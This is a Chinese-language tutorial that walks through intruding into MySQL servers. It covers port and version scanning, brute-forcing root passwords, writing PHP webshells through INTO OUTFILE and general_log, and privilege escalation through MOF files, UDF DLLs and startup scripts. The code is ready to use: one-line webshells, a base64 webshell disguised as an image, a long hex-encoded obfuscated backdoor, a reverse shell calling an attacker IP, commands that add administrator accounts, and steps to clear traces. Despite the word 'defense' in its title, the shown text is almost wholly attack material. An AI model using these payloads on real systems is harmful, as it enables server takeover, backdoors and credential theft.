教你一些MySQL数据库入侵及防御方法(有书送)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介:

在针对网站渗透中,很多都是跟 MySQL 数据库有关,各种 MySQL 注入、MySQL 提权、MySQL 数据库 Root 账号 webshell 获取等,但没有一个对 MySQL 数据库渗透较为全面的总结。

针对这种情况我们开展了研究,但技术的进步永无止境,思想有多远,路就可以走多远,在研究 MySQL 数据库安全之余,我们也对 MySQL 如何通过 msf、sqlmap 等来进行扫描、漏洞利用、提权、MySQL 密码破解和获取 webshell 等进行了详细研究。

一、MySQL 信息收集

1、端口信息收集

MySQL 默认端口是 3306 端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 iisputter,直接填写 3306 端口,IP 地址填写单个或者 C 段地址;
d47e62d2b349aca45e42305ed6714efbe5ed61d9 Nmap 扫描 Nmap -p 3306 192.168.1.1-254。

特定目标的渗透,可能需要对全端口进行扫描,可以使用 Nmap 对某一个 IP 地址进行全端口扫描,端口扫描软件还有 sfind 等 DOS 下扫描的工具。

2、版本信息收集

msf 查看版本信息“auxiliary/scanner/mysql/mysql_version”模块

以扫描主机 192.168.157.130 为例,命令为:

use auxiliary/scanner/mysql/mysql_version

set rhosts 192.168.157.130

run

MySQL 查询版本命令:

SELECT @@version、SELECT version();

sqlmap 通过注入点扫描确认信息:

sqlmap.py -u url --dbms mysql

phpmyadmin 管理页面登录后查看 localhost->变量->服务器变量和设置中的 version 参数值。

3、数据库管理信息收集

MySQL 管理工具有多种,例如 phpmyadmin 网站管理,Navicat for MySQL 以及 MySQL Front 等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

4、msf 信息收集模块

MySQL 哈希值枚举:

use auxiliary/scanner/mysql/mysql_hashdump

set username root

set password root

run

获取相关信息:

use auxiliary/admin/mysql/mysql_enum

set username root

set password root

run

获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。


执行 MySQL 语句,连接成功后可以在 msf 执行 SQL 语句,跟 sqlmap 的“--sql-shell”模块类似

use auxiliary/admin/mysql/mysql_sql

将mysql_schem导出到本地/root/.msf4/loot/文件夹下

use auxiliary/scanner/mysql/mysql_schemadump

文件枚举和目录可写信息枚举

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

没有测试成功过,需要定义枚举目录和相关文件,觉得基本没什么用。

二、MySQL 密码获取

1、暴力破解

MySQL 暴力破解主要有几种:

网页在线连接破解:

可以使用 burpsuite 和 phpMyAdmin 多线程批量破解工具。

下载:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 https://portswigger.net/burp/
d47e62d2b349aca45e42305ed6714efbe5ed61d9 http://pan.baidu.com/s/1c1LD6co

msf 通过命令行进行暴力破解:

msf 破解 MySQL 密码模块 auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE参数。

对单一主机仅仅需要设置 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它参数根据实际情况进行设置。

场景A:对内网获取 Root 某个口令后,扩展渗透

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set password root

set username root

run

执行后对 192.168.157.1-254 进行 MySQL 密码扫描验证。

场景B:使用密码字典进行扫描

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set pass_file /tmp/password.txt

set username root

run

使用 nmap 扫描并破解密码:

对某一个 IP 或者 IP 地址段进行 nmap 默认密码暴力破解并扫描

nmap --script=mysql-brute 192.168.157.130

nmap --script=mysql-brute 192.168.157.1-254

使用 Root 账号 Root 密码进行 MySQL 密码验证并扫描获取指定 IP 地址的端口信息以及 MySQL 数据库相关信息

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

检查 Root 空口令

nmap --script mysql-empty-password 192.168.195.130

对 MySQL 口令进行扫描:

使用 hscan 工具对 MySQL 口令进行扫描,需要设置扫描 IP 地址段以及数据库口令字典及用户名字典。

2、源代码泄露

网站源代码备份文件:

一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对 zip/rar/tar/tar.gz/gz/sql 等后缀文件进行扫描

配置备份文件:

使用 ultraedit 等编辑文件编辑数据库配置文件后,会留下 bak 文件。

3、文件包含

本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

4、其它情况

有些软件会将 IP 地址、数据库用户名和密码写进程序中,运行程序后,通过 cain 软件进行嗅探,可以获取数据库密码。另外 MySQL客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接 IP 地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

三、MySQL 获取 webshell

1、phpmyadminroot 账号获取 webshell

MySQL Root 账号通过 phpMyAdmin 获取 webshell 的思路,主要有下面几种方式,以第1)2)6)8)方法较佳,其它可以根据实际情况来进行。

1)直接读取后门文件:

通过程序报错、phpinfo 函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过 load_file 直接读取。

2)直接导出一句话后门:

前提需要知道网站的真实物理路径,例如呼求偶真实路径 D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件 cmd.php,访问地址:http://www.somesite.com/cmd.php

select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

3)创建数据库导出一句话后门:


在查询窗口直接执行以下代码即可,跟2)原理类似

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );

INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');

SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';

DROP TABLE IF EXISTS `antian365`;

4)可执行命令方式:

创建执行命令形式的 Shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'

另外在 Linux 下可以导出直接执行命令的 Shell

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

5)过杀毒软件方式:


通过后台或者存在上传图片的地方,上传图片 publicguide.jpg,内容如下

<?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>

然后通过图片包含 temp.php,导出 webshell

select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

一句话后门密码:antian365

6)直接导出加密 webshell:

一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密 webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改 D:/WEB/IPTEST/22.php

select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'

(上下拉动可完整查看)

注意:也可以使用 http://tool.lu/hexstr/ 网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入 unhex 函数进行查询即可

select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'

7)CMS 系统获取 webshell:


有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话 webshell,可以通过 CMS 系统管理账号登录系统后,寻找漏洞来突破,例如 dedecms 可以通过破解管理员账号后直接上传文件来获取 webshell。Discuz!的 UC_key 可以直接获取 webshell。甚至某些系统可直接上传 php 文件。下面是一些 CMS 系统渗透的技巧:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 dedecms 系统的密码有直接 md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;
d47e62d2b349aca45e42305ed6714efbe5ed61d9 phpcms v9 版本的密码需要加 salt 进行破解,需要选择破解算法 md5(md5($pass).$salt) 进行破解;
d47e62d2b349aca45e42305ed6714efbe5ed61d9 Discuz!论坛帐号保存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如 a0513df9929afc972f024fa4e586e829:399793。

8)general_log_file 获取 webshell:

查看 genera 文件配置情况

show global variables like "%genera%";

关闭 general_log

set global general_log=off;

通过 general_log 选项来获取 webshell

set global general_log='on';

SET global general_log_file='D:/phpStudy/WWW/cmd.php';

在查询中执行语句

SELECT '<?php assert($_POST["cmd"]);?>';

Shell 为 cmd.php,一句话后门,密码为cmd。

2、Sqlmap 注入点获取 webshell

Sqlmap 注入点获取 webshell 的前提是具备写权限,一般是 Root 账号,通过执行命令来获取

sqlmap -u url--os-shell

echo "<?php @eval($_POST['c']);?>" >/data/www/1.php

四、MySQL 提权
1、mof提权

webshell 上传 mof 文件提权:

MySQL Root 权限 MOF 方法提权是来自国外 Kingcope 大牛发布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称 MySQL 远程提权 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件;
d47e62d2b349aca45e42305ed6714efbe5ed61d9 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法;
d47e62d2b349aca45e42305ed6714efbe5ed61d9 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用 MOF 方法提权的前提是当前 Root 帐号可以复制文件到 %SystemRoot%\System32\Wbem\MOF 目录下,否则会失败!

该漏洞的利用前提条件是必须具备 MySQL 的 Root 权限,在 Kingcope 公布的 0day 中公布了一个 pl 利用脚本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100 为 MySQL 数据库所在服务器,MySQL 口令为空,反弹到 192.168.2.150 的 5555 端口上。

生成 nullevt.mof 文件:


将以下代码保存为nullevt.mof文件:

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

(上下拉动可完整查看)

通过 MySQL 查询将文件导入:

执行以下查询语句,将上面生成的 nullevt.mof 导入到 c:\windows\system32\wbem\mof\ 目录下在windows7 中默认是拒绝访问的。导入后系统会自动运行,执行命令

selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

msf 直接 mof 提权:

msf 下的 exploit/windows/mysql/mysql_mof 模块提供了直接 mof 提权,不过该漏洞成功跟操作系统权限和 MySQL 数据库版本有关,执行成功后会直接反弹 Shell 到 meterpreter

use exploit/windows/mysql/mysql_mof

set rhost 192.168.157.1 //设置需要提权的远程主机IP地址

set rport 3306 //设置mysql的远程端口

set password root //设置mysql数据库root密码

set username root //设置mysql用户名

options //查看设置

run 0

技巧:要是能够通过网页连接管理(phpmyadmin),则可以修改 host 为“%”并刷新权限后,则可以通过 msf 等工具远程连接数据库。默认 Root 等账号不允许远程连接,除非管理员或者数据库用户自己设置。

方法1:本地登入 MySQL,更改 "MySQL" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"

use mysql;

update user set host = '%' where user = 'root';

FLUSH PRIVILEGES ;

select host, user from user;

方法2:直接授权(推荐)

从任何主机上使用 Root 用户,密码:youpassword(你的root密码)连接到 MySQL 服务器

# mysql -u root -proot

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;

FLUSH PRIVILEGES;

推荐重新增加一个用户,在实际测试过程中发现很多服务器使用 Root 配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改 Root 配置。

2、udf 提权

UDF 提权是利用 MySQL 的自定义函数功能,将 MySQL 账号转化为系统 system 权限,利用条件的目标系统是 Windows(Win2000/XP/2003);拥有 MySQL 的某个用户账号,此账号必须有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,有 Root 账号密码Windows 下 UDF 提权对于 Windows2008 以下服务器比较适用,也即针对 Windows2000、Windows2003 的成功率较高。

UDF 提权条件:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 MySQL 版本大于 5.1 版本 udf.dll 文件必须放置于 MySQL 安装目录下的 lib\plugin 文件夹下。
d47e62d2b349aca45e42305ed6714efbe5ed61d9 MySQL 版本小于 5.1 版本。udf.dll 文件在 Windows2003 下放置于 c:\windows\system32,在 Windows2000 下放置于 c:\winnt\system32。
d47e62d2b349aca45e42305ed6714efbe5ed61d9 掌握的 MySQL 数据库的账号有对 MySQL 的 insert 和 delete 权限以创建和抛弃函数,一般以 Root 账号为佳,具备 Root 账号所具备的权限的其它账号也可以。
d47e62d2b349aca45e42305ed6714efbe5ed61d9 可以将 udf.dll 写入到相应目录的权限。

提权方法:

获取数据库版本、数据位置以及插件位置等信息

select version();//获取数据库版本

select user();//获取数据库用户

select @@basedir ;//获取安装目录

show variables like '%plugins%'; //寻找mysql安装路径

导出路径

C:\Winnt\udf.dll Windows 2000

C:\Windows\udf.dll Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)

MySQL 5.1 以上版本,必须要把 udf.dll 文件放到 MySQL 安装目录下的 libplugin 文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用 webshell 找到 MySQL 的安装目录,并在安装目录下创建 libplugin 文件夹,然后将 udf.dll 文件导出到该目录即可。

在某些情况下,我们会遇到 Can't open shared library 的情况,这时就需要我们把 udf.dll 导出到 lib\plugin 目录下才可以,网上大牛发现利用 NTFS ADS 流来创建文件夹的方法

select @@basedir; //查找到mysql的目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后就会 plugin 目录,然后再进行导出 udf.dll 即可。

创建 cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

执行命令

select sys_eval(‘whoami’);

一般情况下不会出现创建不成功哦。连不上 3389 可以先停止 windows 防火墙和筛选

select sys_eval(‘net stop policyagent’);

select sys_eval(‘net stop sharedaccess’);

udf.dll 下常见函数

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

具体用户示例

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');

清除痕迹

drop function cmdshell;//将函数删除

删除 udf.dll 文件以及其它相关入侵文件及日志。

常见错误

#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

SHOW VARIABLES LIKE "secure_file_priv"

在 my.ini 或者 mysql.cnf 文件中注销 (使用#号) 包含 secure_file_priv 的行。

1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option,需要将 my.ini 中的 skip-grant-tables 选项去掉。

webshell 下 udf 提权:

通过集成 udf 提权的 webshell 输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

MySQL 提权综合利用工具:

v5est0r 写了一个 MySQL 提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 自动导出你的 backdoor 和 mof 文件;
d47e62d2b349aca45e42305ed6714efbe5ed61d9 自动判断 MySQL 版本,根据版本不同导出 UDF 的 DLL 到不同目录,UDF 提权;
d47e62d2b349aca45e42305ed6714efbe5ed61d9 导出 LPK.dll 文件,劫持系统目录提权;
d47e62d2b349aca45e42305ed6714efbe5ed61d9 写启动项提权。

UdF 自动提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK 劫持提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

启动项提权

python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

例如通过 LOAD_FILE 来查看 MySQL 配置文件 my.ini,如果其中配置了 skip-grant-tables,这无法进行提权。

3、无法获取 webshell 提权

连接 MySQL:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 mysql.exe -h ip -uroot -p
d47e62d2b349aca45e42305ed6714efbe5ed61d9 phpmyadmin
d47e62d2b349aca45e42305ed6714efbe5ed61d9 Navicat for MySQL

查看数据库版本和数据路径:

SELECT VERSION( );

Select @@datadir;

5.1 以下版本,将 dll 导入到 c:/windows 或者 c:/windows/system32/

5.1 以上版本 通过以下查询来获取插件路径

SHOW VARIABLES WHERE Variable_Name LIKE "%dir";

show variables like '%plugin%' ;

select load_file('C:/phpStudy/Apache/conf/httpd.conf')

select load_file('C:/phpStudy/Apache/conf/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')

select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

修改 MySQL.txt:

MySQL.txt 为 udf.dll 的二进制文件转成十六进制代码。

d47e62d2b349aca45e42305ed6714efbe5ed61d9 先执行导入 ghost 表中的内容,修改以下代码的末尾代码:select backshell("YourIP",4444);
d47e62d2b349aca45e42305ed6714efbe5ed61d9 导出文件到某个目录

导出过程:

select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';

select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';

select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';

select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';

select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'

select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';

C:\ProgramData\MySQL\MySQL Server 5.1\Data\mysql/user.myd

select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');

select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

(上下拉动可完整查看)

d47e62d2b349aca45e42305ed6714efbe5ed61d9 查看 FUNCTION 中是否存在 cmdshell 和 backshell,存在则删除

drop FUNCTION cmdshell;//删除cmdshell

drop FUNCTION backshell;//删除backshell

d47e62d2b349aca45e42305ed6714efbe5ed61d9 创建backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell d47e62d2b349aca45e42305ed6714efbe5ed61d9 在具备独立主机的服务器上执行监听
nc -vv -l -p 44444 d47e62d2b349aca45e42305ed6714efbe5ed61d9 执行查询
select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口

获取 webshell 后添加用户命令:


注意如果不能直接执行,则需要到 c:\windows\system32\ 下执行

net user antian365 Www.Antian365.Com /add

net localgroup administrators antian365

4、Sqlmap 直连数据库提权

Sqlmap 直接连接数据库提权,需要有写入权限和 Root 账号及密码,命令如下:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 连接数据库:sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell
d47e62d2b349aca45e42305ed6714efbe5ed61d9 选择操作系统的架构,32 位操作系统选择 1,64 位选择 2
d47e62d2b349aca45e42305ed6714efbe5ed61d9 自动上传 udf 或提示 os-shell
d47e62d2b349aca45e42305ed6714efbe5ed61d9 执行 whomai 命令如果获取系统权限,则表示提权成功。

Msfudf 提权:

Kali 渗透测试平台下执行(kali下载地址https://www.kali.org/downloads/)

msfconsole

use exploit/windows/mysql/mysql_payload

options

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run 0或者exploit

msf 下 udf 提权成功率并不高,跟 windows 操作系统版本,权限和数据库版本有关,特别是 secure-file-priv 选项,如果有该选项基本不会成功。

5、启动项提权

创建表并插入 vbs 脚本到表中:

依次使用以下命令

show databases ;

use test;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

select * from a;

导出 vbs 脚本到启动:


使用以下命令将刚才在 a 表中创建的 vbs 脚本导出到启动选项中

select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误。

推荐使用以下脚本

show databases ;

use test;

show tables;

create table b (cmd text);

insert into b values ("net user Aspnet123545345!* /add");

insert into b values ("net localgroup administrators Aspnet /add");

insert into b values ("del b.bat");

select * from b into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat";

该脚本执行后虽然会闪现 DOS 窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过 MySQL 连接器连接并执行以上命令后,在“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录中会有刚才导出的 b.bat 脚本文件。

说明:在不同的操作系统中“C:\Documents and Settings\All Users\「开始」菜单\程序\启动”目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为

select * from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";

Windows 2008 Server的启动目录为:C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs

其 vbs 方法可以参考如下写法

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );

select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";

msf 下模块 exploit/windows/mysql/mysql_start_up 提权:

use exploit/windows/mysql/mysql_start_up

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run

msf 下 mysql_start_up 提权有一定的几率,对英文版系统支持较好。

五、msf 其它相关漏洞提权

1、MySQL 身份认证漏洞及利用(CVE-2012-2122)

当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。按照公告说法大约 256 次就能够蒙对一次。受影响的产品:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞
d47e62d2b349aca45e42305ed6714efbe5ed61d9 MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞
d47e62d2b349aca45e42305ed6714efbe5ed61d9 MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2、exploit/windows/mysql/mysql_yassl_hello

3、exploit/windows/mysql/scrutinizer_upload_exec

六、MySQL 密码破解

1、Cain 工具破解 MySQL 密码

使用 UltraEdit-32 编辑器直接打开 user.MYD 文件,打开后使用二进制模式进行查看,在 Root 用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。

注意:

d47e62d2b349aca45e42305ed6714efbe5ed61d9 root 后面的“*”不要复制到字符串中。
d47e62d2b349aca45e42305ed6714efbe5ed61d9 在有些情况下需要往后面看看,否则得到的不是完整的 MYSQLSHA1 密码,总之其正确的密码位数是 40 位。

安装 cain 工具,使用 cracker,右键单击“Add tolist”将 MySQL Hashes 值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

2、网站在线密码破解
  • cmd5.com 破解。将获取的 MySQL 值放在 cmd5.com 网站中进行查询,MySQL 密码一般都是收费的;

